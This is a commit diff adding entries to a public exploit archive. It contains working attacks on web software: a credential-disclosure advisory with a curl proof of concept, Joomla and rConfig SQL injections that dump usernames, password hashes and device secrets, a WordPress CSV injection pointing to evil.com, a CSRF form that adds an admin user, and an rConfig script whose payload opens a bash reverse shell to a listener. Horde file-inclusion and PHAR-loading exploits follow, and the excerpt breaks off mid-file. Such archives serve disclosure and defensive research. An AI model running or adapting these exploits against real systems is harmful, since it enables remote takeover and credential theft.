DB: 2020-03-13
9 changes to exploits/shellcodes ASUS AAHM 1.00.22 - 'asHmComSvc' Unquoted Service Path Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin) rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution rConfig 3.9 - 'searchColumn' SQL Injection Horde Groupware Webmail Edition 5.2.22 - PHP File Inclusion Horde Groupware Webmail Edition 5.2.22 - PHAR Loading
This commit is contained in:
Offensive Security
parent
3c74040d79
commit
153c392dd9
10 changed files with 880 additions and 0 deletions
168
exploits/java/webapps/48203.txt
Normal file
168
exploits/java/webapps/48203.txt
Normal file
|
|
@ -0,0 +1,168 @@
|
||||||
|
# Exploit: WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure
|
||||||
|
# Author: RedTeam Pentesting GmbH
|
||||||
|
# Date: 2020-03-11
|
||||||
|
# Vendor: https://www.watchguard.com
|
||||||
|
# Software link: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
Advisory: Credential Disclosure in WatchGuard Fireware AD Helper Component
|
||||||
|
|
||||||
|
RedTeam Pentesting discovered a credential-disclosure vulnerability in
|
||||||
|
the AD Helper component of the WatchGuard Fireware Threat Detection and
|
||||||
|
Response (TDR) service, which allows unauthenticated attackers to gain
|
||||||
|
Active Directory credentials for a Windows domain in plaintext.
|
||||||
|
|
||||||
|
|
||||||
|
Details
|
||||||
|
=======
|
||||||
|
|
||||||
|
Product: WatchGuard Fireware AD Helper Component
|
||||||
|
Affected Versions: 5.8.5.10233, < 5.8.5.10317
|
||||||
|
Fixed Versions: 5.8.5.10317
|
||||||
|
Vulnerability Type: Information Disclosure
|
||||||
|
Security Risk: high
|
||||||
|
Vendor URL: https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
|
||||||
|
Vendor Status: fixed version released
|
||||||
|
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-001
|
||||||
|
Advisory Status: published
|
||||||
|
CVE: GENERIC-MAP-NOMATCH
|
||||||
|
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
|
||||||
|
|
||||||
|
|
||||||
|
Introduction
|
||||||
|
============
|
||||||
|
|
||||||
|
"Threat Detection and Response (TDR) is a cloud-based subscription
|
||||||
|
service that integrates with your Firebox to minimize the consequences
|
||||||
|
of data breaches and penetrations through early detection and automated
|
||||||
|
remediation of security threats."
|
||||||
|
|
||||||
|
"Threat Detection and Response includes the AD Helper component. If your
|
||||||
|
network has an Active Directory server, you can install AD Helper to
|
||||||
|
manage automated installation and updates of Host Sensors on your
|
||||||
|
network."
|
||||||
|
|
||||||
|
(from the vendor's homepage)
|
||||||
|
|
||||||
|
|
||||||
|
More Details
|
||||||
|
============
|
||||||
|
|
||||||
|
By accessing the AD Helper's web interface, it was discovered that a
|
||||||
|
call to an API endpoint is made, which responds with plaintext
|
||||||
|
credentials to all configured domain controllers. There is no
|
||||||
|
authentication needed to use the described interface and the
|
||||||
|
installation instructions at [1] contain no indication of any way to
|
||||||
|
configure access control.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept
|
||||||
|
================
|
||||||
|
|
||||||
|
An HTTP GET request to the path "/domains/list" of the AD Helper
|
||||||
|
API returns, among others, the plaintext credentials to
|
||||||
|
all configured Windows domain controllers:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
$ curl --silent "http://adhelper.example.com:8080/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc" | jq .
|
||||||
|
|
||||||
|
{
|
||||||
|
"content": [
|
||||||
|
{
|
||||||
|
"id": 1,
|
||||||
|
"fullyQualifiedName": "example.com",
|
||||||
|
"logonDomain": "example.com",
|
||||||
|
"domainControllers": "dc1.example.com",
|
||||||
|
"username": "[DOMAIN_USER]",
|
||||||
|
"password": "[DOMAIN_PASSWORD]",
|
||||||
|
"uuid": "[...]",
|
||||||
|
"servers": [
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"totalPages": 1,
|
||||||
|
"totalElements": 1,
|
||||||
|
"number": 0,
|
||||||
|
"numberOfElements": 1
|
||||||
|
}
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
The same request and its response can be observed when initially accessing
|
||||||
|
the web interface. The discovered version of AD Helper responds with
|
||||||
|
the following server banner:
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
jetty(winstone-5.8.5.10233-9.4.12.v20180830)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
It is likely that other versions of the AD Helper Component are
|
||||||
|
vulnerable as well.
|
||||||
|
|
||||||
|
|
||||||
|
Workaround
|
||||||
|
==========
|
||||||
|
|
||||||
|
Ensure API of the AD Helper Component is not reachable over the network,
|
||||||
|
for example by putting it behind a Firewall.
|
||||||
|
|
||||||
|
|
||||||
|
Fix
|
||||||
|
===
|
||||||
|
|
||||||
|
Update to Version 5.8.5.10317 or later.
|
||||||
|
|
||||||
|
|
||||||
|
Security Risk
|
||||||
|
=============
|
||||||
|
|
||||||
|
No authentication is needed to access AD Helper's web interface and the
|
||||||
|
installation instructions at [1] describe that configured domain user
|
||||||
|
accounts must possess at least the following privileges:
|
||||||
|
|
||||||
|
* Connect to the host
|
||||||
|
* Mount the share ADMIN$
|
||||||
|
* Create a file on the host
|
||||||
|
* Execute commands on the host
|
||||||
|
* Install software on the host
|
||||||
|
|
||||||
|
Access to the "ADMIN$" share implies a user with administrative
|
||||||
|
privileges. Therefore, this vulnerability poses a high risk.
|
||||||
|
|
||||||
|
|
||||||
|
Timeline
|
||||||
|
========
|
||||||
|
|
||||||
|
2020-02-12 Vulnerability identified
|
||||||
|
2020-02-19 Customer approved disclosure to vendor
|
||||||
|
2020-02-24 Tried to contact the German branch of WatchGuard
|
||||||
|
2020-02-27 Contacted the Dutch branch of WatchGuard
|
||||||
|
2020-02-28 Contact to ADHelper QA Team Lead established
|
||||||
|
2020-03-02 Advisory draft sent for verification
|
||||||
|
2020-03-10 Vendor released fixed version and blog post
|
||||||
|
2020-03-11 CVE ID requested
|
||||||
|
2020-03-11 Advisory released
|
||||||
|
|
||||||
|
|
||||||
|
References
|
||||||
|
==========
|
||||||
|
|
||||||
|
[1] https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/services/tdr/tdr_ad_helper_c.html
|
||||||
|
|
||||||
|
|
||||||
|
RedTeam Pentesting GmbH
|
||||||
|
=======================
|
||||||
|
|
||||||
|
RedTeam Pentesting offers individual penetration tests performed by a
|
||||||
|
team of specialised IT-security experts. Hereby, security weaknesses in
|
||||||
|
company networks or products are uncovered and can be fixed immediately.
|
||||||
|
|
||||||
|
As there are only few experts in this field, RedTeam Pentesting wants to
|
||||||
|
share its knowledge and enhance the public knowledge with research in
|
||||||
|
security-related areas. The results are made available as public
|
||||||
|
security advisories.
|
||||||
|
|
||||||
|
More information about RedTeam Pentesting can be found at:
|
||||||
|
https://www.redteam-pentesting.de/
|
||||||
16
exploits/php/webapps/48202.txt
Normal file
16
exploits/php/webapps/48202.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
# Exploit Title: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
|
||||||
|
# Date: 2020-03-10
|
||||||
|
# Author: Milad Karimi
|
||||||
|
# Software Link:
|
||||||
|
# Version:
|
||||||
|
# Category : webapps
|
||||||
|
# Tested on: windows 10 , firefox
|
||||||
|
# CVE : CWE-89
|
||||||
|
# Dork: inurl:index.php?option=com_newsfeeds
|
||||||
|
|
||||||
|
|
||||||
|
index.php?option=com_newsfeeds&view=categories&feedid=[sqli]
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
||||||
38
exploits/php/webapps/48204.txt
Normal file
38
exploits/php/webapps/48204.txt
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
# Exploit Title: Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 2020-03-05
|
||||||
|
# Exploit Author: Daniel Monzón (stark0de)
|
||||||
|
# Vendor Homepage: https://www.codepeople.net/
|
||||||
|
# Software Link: https://downloads.wordpress.org/plugin/appointment-booking-calendar.zip
|
||||||
|
# Version: 1.3.34
|
||||||
|
# Tested on: Windows 7 x86 SP1
|
||||||
|
# CVE : CVE-2020-9371, CVE-2020-9372
|
||||||
|
|
||||||
|
----Stored Cross-Site-Scripting-------------------
|
||||||
|
|
||||||
|
1) In http://127.0.0.1/wordpress/wp-admin/admin.php?page=cpabc_appointments.php
|
||||||
|
2) Calendar Name=<script>alert(0)</script> and Update
|
||||||
|
3) Click in any of the other tabs
|
||||||
|
|
||||||
|
----CSV injection---------------------------------
|
||||||
|
|
||||||
|
1) First we create a new calendar (Pages, add new, booking calendar) and Publish it (we can now log out)
|
||||||
|
2) Then we go to the page and introduce data, and the payload:
|
||||||
|
|
||||||
|
New booking:
|
||||||
|
|
||||||
|
Name: IMPORTANT DATA
|
||||||
|
Description: http://evil.com/evil.php
|
||||||
|
|
||||||
|
New booking:
|
||||||
|
|
||||||
|
Name: test
|
||||||
|
Description: =HYPERLINK(K2;H2)
|
||||||
|
|
||||||
|
This is the way it would work if i had a business registered and the payment was completed it can also be done by adding the new bookings with the same data from the admin panel
|
||||||
|
|
||||||
|
3) Then we go to Bookings List and export the CSV file
|
||||||
|
4) After that we open the file, and import data from an external file, using comma as separator
|
||||||
|
5) Hyperlink to malicious PHP file is inserted and the user clicks on it, user is redirected to a fake login page (for example)
|
||||||
|
|
||||||
|
Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
|
||||||
51
exploits/php/webapps/48205.txt
Normal file
51
exploits/php/webapps/48205.txt
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# Exploit Title: HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)
|
||||||
|
# Date: 2020-03-11
|
||||||
|
# Exploit Author: Ismail Akıcı
|
||||||
|
# Vendor Homepage: http://hrsale.com/
|
||||||
|
# Software Link : http://demo.hrsale.com/
|
||||||
|
# Software : HRSALE v1.1.8
|
||||||
|
# Product Version: v1.1.8
|
||||||
|
# Vulnerability Type : Cross-Site Request Forgery (Add Admin)
|
||||||
|
# Vulnerability : Cross-Site Request Forgery
|
||||||
|
|
||||||
|
# Description :
|
||||||
|
# CSRF vulnerability was discovered in v1.1.8 version of HRSALE.
|
||||||
|
# With this vulnerability, authorized users can be added to the system.
|
||||||
|
|
||||||
|
HTML CSRF PoC :
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||||
|
<body>
|
||||||
|
<script>history.pushState('', '', '/')</script>
|
||||||
|
<form action="http://demo.hrsale.com/admin/employees/add_employee" method="POST" enctype="multipart/form-data">
|
||||||
|
<input type="hidden" name="_user" value="1" />
|
||||||
|
<input type="hidden" name="csrf_hrsale" value="e8ed76f1f2110f7244b58062e2209961" />
|
||||||
|
<input type="hidden" name="first_name" value="Ismail" />
|
||||||
|
<input type="hidden" name="last_name" value="Akici" />
|
||||||
|
<input type="hidden" name="company_id" value="1" />
|
||||||
|
<input type="hidden" name="location_id" value="1" />
|
||||||
|
<input type="hidden" name="username" value="ismailtakici" />
|
||||||
|
<input type="hidden" name="email" value="ismail.akici@gmail.com" />
|
||||||
|
<input type="hidden" name="date_of_birth" value="2020-03-11" />
|
||||||
|
<input type="hidden" name="contact_no" value="5554443322" />
|
||||||
|
<input type="hidden" name="employee_id" value="1" />
|
||||||
|
<input type="hidden" name="date_of_joining" value="2020-03-11" />
|
||||||
|
<input type="hidden" name="department_id" value="1" />
|
||||||
|
<input type="hidden" name="subdepartment_id" value="YES" />
|
||||||
|
<input type="hidden" name="designation_id" value="9" />
|
||||||
|
<input type="hidden" name="gender" value="Male" />
|
||||||
|
<input type="hidden" name="office_shift_id" value="1" />
|
||||||
|
<input type="hidden" name="password" value="Test1234!" />
|
||||||
|
<input type="hidden" name="confirm_password" value="Test1234!" />
|
||||||
|
<input type="hidden" name="role" value="1" />
|
||||||
|
<input type="hidden" name="leave_categories[]" value="0" />
|
||||||
|
<input type="hidden" name="leave_categories[]" value="1" />
|
||||||
|
<input type="hidden" name="address" value="Test Address" />
|
||||||
|
<input type="hidden" name="is_ajax" value="1" />
|
||||||
|
<input type="hidden" name="add_type" value="employee" />
|
||||||
|
<input type="hidden" name="form" value="add_employee" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
50
exploits/php/webapps/48207.py
Executable file
50
exploits/php/webapps/48207.py
Executable file
|
|
@ -0,0 +1,50 @@
|
||||||
|
# Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
|
||||||
|
# Date: 2020-03-08
|
||||||
|
# Exploit Author: Engin Demirbilek
|
||||||
|
# Vendor Homepage: https://www.rconfig.com/
|
||||||
|
# Version: rConfig <= 3.94
|
||||||
|
# Tested on: centOS
|
||||||
|
# CVE: CVE-2020-10221
|
||||||
|
# Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
|
||||||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
if len(sys.argv) < 6:
|
||||||
|
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
|
||||||
|
exit()
|
||||||
|
|
||||||
|
url = sys.argv[1]
|
||||||
|
user = sys.argv[2]
|
||||||
|
password = sys.argv[3]
|
||||||
|
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])
|
||||||
|
|
||||||
|
login = {
|
||||||
|
'user':user,
|
||||||
|
'pass':password,
|
||||||
|
'sublogin':'1'
|
||||||
|
}
|
||||||
|
req = requests.Session()
|
||||||
|
print "Sendin login request ..."
|
||||||
|
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)
|
||||||
|
|
||||||
|
payload = {
|
||||||
|
'fileName':payload,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
print "[+] Sendin exploit ..."
|
||||||
|
|
||||||
|
exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
|
||||||
|
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
|
||||||
|
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
||||||
|
'Accept-Encoding':'gzip, deflate',
|
||||||
|
'Content-Type':'application/x-www-form-urlencoded'},verify=False)
|
||||||
|
|
||||||
|
if exploit.status_code == 200:
|
||||||
|
print "[+] Everything seems ok, check your listener."
|
||||||
|
else:
|
||||||
|
print "[-] Exploit failed, system is patched or credentials are wrong."
|
||||||
107
exploits/php/webapps/48208.py
Executable file
107
exploits/php/webapps/48208.py
Executable file
|
|
@ -0,0 +1,107 @@
|
||||||
|
# Exploit Title: rConfig 3.9 - 'searchColumn' SQL Injection
|
||||||
|
# Exploit Author: vikingfr
|
||||||
|
# Date: 2020-03-03
|
||||||
|
# CVE-2020-10220
|
||||||
|
# Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py
|
||||||
|
# Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig)
|
||||||
|
# Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
||||||
|
# Install scripts :
|
||||||
|
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
|
||||||
|
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
|
||||||
|
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
|
||||||
|
# Version: tested v3.9.4
|
||||||
|
# Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24
|
||||||
|
#
|
||||||
|
# Notes : If you want to reproduce in your lab environment follow those links :
|
||||||
|
# http://help.rconfig.com/gettingstarted/installation
|
||||||
|
# then
|
||||||
|
# http://help.rconfig.com/gettingstarted/postinstall
|
||||||
|
#
|
||||||
|
# $ python3 rconfig_sqli.py https://1.1.1.1
|
||||||
|
# rconfig 3.9 - SQL Injection PoC
|
||||||
|
# [+] Triggering the payloads on https://1.1.1.1/commands.inc.php
|
||||||
|
# [+] Extracting the current DB name :
|
||||||
|
# rconfig2
|
||||||
|
# [+] Extracting 10 first users :
|
||||||
|
# admin:1:63a9f0ea7bb98050796b649e85481845
|
||||||
|
# Maybe no more information ?
|
||||||
|
# Maybe no more information ?
|
||||||
|
# [snip]
|
||||||
|
# [+] Extracting 10 first devices :
|
||||||
|
# 127-0-0-1:127.0.0.1::ocdvulnpass:
|
||||||
|
# deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret
|
||||||
|
# Maybe no more information ?
|
||||||
|
# Maybe no more information ?
|
||||||
|
# [snip]
|
||||||
|
# Done
|
||||||
|
|
||||||
|
|
||||||
|
#!/usr/bin/python3
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
import urllib.parse
|
||||||
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
|
||||||
|
print ("rconfig 3.9 - SQL Injection PoC")
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print ("[+] Usage : ./rconfig_exploit.py https://target")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
vuln_page="/commands.inc.php"
|
||||||
|
vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
|
||||||
|
given_target = sys.argv[1]
|
||||||
|
target = given_target
|
||||||
|
target += vuln_page
|
||||||
|
target += vuln_parameters
|
||||||
|
|
||||||
|
request = requests.session()
|
||||||
|
dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False)
|
||||||
|
|
||||||
|
|
||||||
|
def extractDBinfos(myTarget=None,myPayload=None):
|
||||||
|
"""
|
||||||
|
Extract information from database
|
||||||
|
Args:
|
||||||
|
- target+payload (String)
|
||||||
|
Returns:
|
||||||
|
- payload result (String)
|
||||||
|
"""
|
||||||
|
result = ""
|
||||||
|
encoded_request = myTarget+myPayload
|
||||||
|
exploit_req = request.get(encoded_request)
|
||||||
|
if '[PWN]' in str(exploit_req.content):
|
||||||
|
result = str(exploit_req.content).split('[PWN]')[1]
|
||||||
|
else:
|
||||||
|
result="Maybe no more information ?"
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
if dashboard_request.status_code != 404:
|
||||||
|
print ("[+] Triggering the payloads on "+given_target+vuln_page)
|
||||||
|
# get the db name
|
||||||
|
print ("[+] Extracting the current DB name :")
|
||||||
|
db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
|
||||||
|
db_name = extractDBinfos(target,db_payload)
|
||||||
|
print (db_name)
|
||||||
|
# DB extract users
|
||||||
|
print ("[+] Extracting 10 first users :")
|
||||||
|
for i in range (0, 10):
|
||||||
|
user1_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".users+limit+"+str(i)+","+str(i+1)+"),NULL--"
|
||||||
|
user_h = extractDBinfos(target,user1_payload)
|
||||||
|
#print ("[+] Dump device "+str(i))
|
||||||
|
print (user_h)
|
||||||
|
# DB extract devices information
|
||||||
|
print ("[+] Extracting 10 first devices :")
|
||||||
|
for i in range (0, 10):
|
||||||
|
device_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".nodes+limit+"+str(i)+","+str(i+1)+"),NULL--"
|
||||||
|
device_h = extractDBinfos(target,device_payload)
|
||||||
|
#print ("[+] Dump device "+str(i))
|
||||||
|
print (device_h)
|
||||||
|
|
||||||
|
print ("Done")
|
||||||
|
|
||||||
|
else:
|
||||||
|
print ("[-] Please verify the URI")
|
||||||
|
exit()
|
||||||
166
exploits/php/webapps/48209.py
Executable file
166
exploits/php/webapps/48209.py
Executable file
|
|
@ -0,0 +1,166 @@
|
||||||
|
## exploit-inc-inclusion.py
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from horde import Horde
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
TEMP_DIR = '/tmp'
|
||||||
|
|
||||||
|
if len(sys.argv) < 5:
|
||||||
|
print('Usage: <base_url> <username> <password> <filename> <php_code>')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
base_url = sys.argv[1]
|
||||||
|
username = sys.argv[2]
|
||||||
|
password = sys.argv[3]
|
||||||
|
filename = sys.argv[4]
|
||||||
|
php_code = sys.argv[5]
|
||||||
|
|
||||||
|
# log into the web application
|
||||||
|
horde = Horde(base_url, username, password)
|
||||||
|
|
||||||
|
# upload (delete manually) and evaluate the .inc file
|
||||||
|
horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))
|
||||||
|
horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))
|
||||||
|
## exploit-inc-inclusion.py EOF
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## horde.py
|
||||||
|
import re
|
||||||
|
import requests
|
||||||
|
|
||||||
|
class Horde():
|
||||||
|
def __init__(self, base_url, username, password):
|
||||||
|
self.base_url = base_url
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.session = requests.session()
|
||||||
|
self.token = None
|
||||||
|
self._login()
|
||||||
|
|
||||||
|
def _login(self):
|
||||||
|
url = '{}/login.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'login_post': 1,
|
||||||
|
'horde_user': self.username,
|
||||||
|
'horde_pass': self.password
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
|
||||||
|
assert (
|
||||||
|
len(response.history) == 1 and
|
||||||
|
response.history[0].status_code == 302 and
|
||||||
|
response.history[0].headers['location'] == '/services/portal/' and
|
||||||
|
token_match
|
||||||
|
), 'Cannot log in'
|
||||||
|
self.token = token_match.group(1)
|
||||||
|
|
||||||
|
def upload_to_tmp(self, filename, data):
|
||||||
|
url = '{}/turba/add.php'.format(self.base_url)
|
||||||
|
files = {
|
||||||
|
'object[photo][img][file]': (None, filename),
|
||||||
|
'object[photo][new]': ('x', data)
|
||||||
|
}
|
||||||
|
response = self.session.post(url, files=files)
|
||||||
|
assert response.status_code == 200, 'Cannot upload the file to tmp'
|
||||||
|
|
||||||
|
def include_remote_inc_file(self, path):
|
||||||
|
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
|
||||||
|
app = 'trean:trean_Block_Bookmarks'
|
||||||
|
|
||||||
|
# add one dummy bookmark (to be sure)
|
||||||
|
url = '{}/trean/add.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'actionID': 'add_bookmark',
|
||||||
|
'url': 'x'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the bookmark'
|
||||||
|
|
||||||
|
# add bookmark block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save-resume',
|
||||||
|
'app': app,
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the bookmark block'
|
||||||
|
|
||||||
|
# edit bookmark block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save',
|
||||||
|
'app': app,
|
||||||
|
'params[template]': '../../../../../../../../../../../' + path
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot edit the bookmark block'
|
||||||
|
|
||||||
|
# evaluate the remote file
|
||||||
|
url = '{}/services/portal/'.format(self.base_url)
|
||||||
|
response = self.session.get(url)
|
||||||
|
print(response.text)
|
||||||
|
|
||||||
|
# remove the bookmark block so to not break the page
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
# XXX token not needed here
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'removeBlock'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot reset the bookmark block'
|
||||||
|
|
||||||
|
def trigger_phar(self, path):
|
||||||
|
# vulnerable block (alternatively the same can be obtained by creating a
|
||||||
|
# bookmark with the PHAR path and clocking on it)
|
||||||
|
app = 'horde:horde_Block_Feed'
|
||||||
|
|
||||||
|
# add syndicated feed block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save-resume',
|
||||||
|
'app': app,
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the syndicated feed block'
|
||||||
|
|
||||||
|
# edit syndicated feed block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save',
|
||||||
|
'app': app,
|
||||||
|
'params[uri]': 'phar://{}'.format(path)
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot edit the syndicated feed block'
|
||||||
|
|
||||||
|
# load the PHAR archive
|
||||||
|
url = '{}/services/portal/'.format(self.base_url)
|
||||||
|
response = self.session.get(url)
|
||||||
|
|
||||||
|
# remove the syndicated feed block so to not break the page
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
# XXX token not needed here
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'removeBlock'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
|
||||||
|
## horde.py EOF
|
||||||
241
exploits/php/webapps/48210.py
Executable file
241
exploits/php/webapps/48210.py
Executable file
|
|
@ -0,0 +1,241 @@
|
||||||
|
## exploit-phar-loading.py
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from horde import Horde
|
||||||
|
import requests
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
TEMP_DIR = '/tmp'
|
||||||
|
WWW_ROOT = '/var/www/html'
|
||||||
|
|
||||||
|
if len(sys.argv) < 5:
|
||||||
|
print('Usage: <base_url> <username> <password> <filename> <php_code>')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
base_url = sys.argv[1]
|
||||||
|
username = sys.argv[2]
|
||||||
|
password = sys.argv[3]
|
||||||
|
filename = sys.argv[4]
|
||||||
|
php_code = sys.argv[5]
|
||||||
|
|
||||||
|
source = '{}/{}.phar'.format(TEMP_DIR, filename)
|
||||||
|
destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)
|
||||||
|
temp = 'temp.phar'
|
||||||
|
url = '{}/static/{}.php'.format(base_url, filename)
|
||||||
|
|
||||||
|
# log into the web application
|
||||||
|
horde = Horde(base_url, username, password)
|
||||||
|
|
||||||
|
# create a PHAR that performs a rename when loaded and runs the payload when executed
|
||||||
|
subprocess.run([
|
||||||
|
'php', 'create-renaming-phar.php',
|
||||||
|
temp, source, destination, php_code
|
||||||
|
], stderr=subprocess.DEVNULL)
|
||||||
|
|
||||||
|
# upload the PHAR
|
||||||
|
with open(temp, 'rb') as fs:
|
||||||
|
phar_data = fs.read()
|
||||||
|
horde.upload_to_tmp('{}.phar'.format(filename), phar_data)
|
||||||
|
|
||||||
|
# load the phar thus triggering the rename
|
||||||
|
horde.trigger_phar(source)
|
||||||
|
|
||||||
|
# issue a request to trigger the payload
|
||||||
|
response = requests.get(url)
|
||||||
|
print(response.text)
|
||||||
|
## exploit-phar-loading.py EOF
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## create-renaming-phar.php
|
||||||
|
#!/usr/bin/env php
|
||||||
|
<?php
|
||||||
|
|
||||||
|
